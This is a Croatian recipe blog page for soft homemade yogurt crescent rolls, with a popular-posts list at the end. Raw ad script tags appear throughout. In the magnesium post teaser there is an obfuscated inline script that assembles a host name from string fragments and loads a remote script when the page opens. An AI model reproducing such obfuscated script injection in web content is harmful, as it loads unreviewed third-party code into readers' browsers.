NAJMEKŠE DOMAĆE KIFLICE KOJE ĆETE STALNO RADITI





Najmekše domaće kiflice koje ćete stalno raditi 



Nema boljeg mirisa u kuhinji od svježe pečenih domaćih kiflica. Mekane, pahuljaste i savršene za doručak, večeru ili druženje uz stol, ove kiflice možete puniti nadjevom po želji – slanim ili slatkim – ili ih ostaviti potpuno jednostavne. Zahvaljujući jogurtu u tijestu ostaju posebno mekane i ukusne, a priprema je jednostavna i ne zahtijeva puno iskustva u pečenju.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Najmekše domaće kiflice koje ćete stalno raditi 


Sastojci:

  • 700 g glatkog brašna
  • 10 g šećera
  • 10 g soli
  • 7 g suhog kvasca
  • 75 g maslaca
  • 50 ml ulja
  • 200 ml mlijeka
  • 180 g čvrstog jogurta
  • 1 žlica jabučnog octa ili limunovog soka

Za premazivanje:

  • 1 jaje
  • 20 ml mlijeka

Dodatno:

  • nadjev po želji
  • sjemenke po želji (sezam, lan, suncokret)

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema:

1. Sjedinite sastojke

U velikoj posudi pomiješajte brašno, sol, šećer i suhi kvasac. U manjem loncu rastopite maslac zajedno s uljem, zatim maknite s vatre. Dodajte hladno mlijeko, jogurt i ocat te sve dobro izmiješajte. Dobivenu tekuću smjesu ulijte u posudu u kojoj ćete mijesiti tijesto.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

2. Umijesite tijesto

Dodajte polovicu smjese s brašnom i miješajte oko minute. Zatim dodajte još polovicu i nastavite miješati oko dvije minute. Na kraju dodajte ostatak brašna i umijesite mekano tijesto. Pokrijte ga čistom krpom i ostavite na toplom mjestu oko 45 minuta kako bi naraslo.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

3. Oblikujte kiflice

Nakon što tijesto naraste, kratko ga premijesite i stavite na lagano pobrašnjenu površinu. Razvaljajte ga u krug debljine otprilike 5 mm, a zatim ga izrežite na trokute. Po želji dodajte nadjev.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

4. Zamotajte

Zarolajte trokute u kiflice pazeći da nadjev ostane unutar tijesta. Premažite ih s malo mlijeka i ostavite na sobnoj temperaturi još 30 minuta kako bi dodatno narasle. U međuvremenu razmutite jaje i zagrijte pećnicu na 200 °C.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

5. Pecite

Kiflice premažite razmućenim jajetom i pospite sjemenkama po želji. Pecite ih oko 18 minuta, odnosno dok ne dobiju lijepu zlatno-smeđu boju. Poslužite tople.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Najmekše domaće kiflice koje ćete stalno raditi

Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više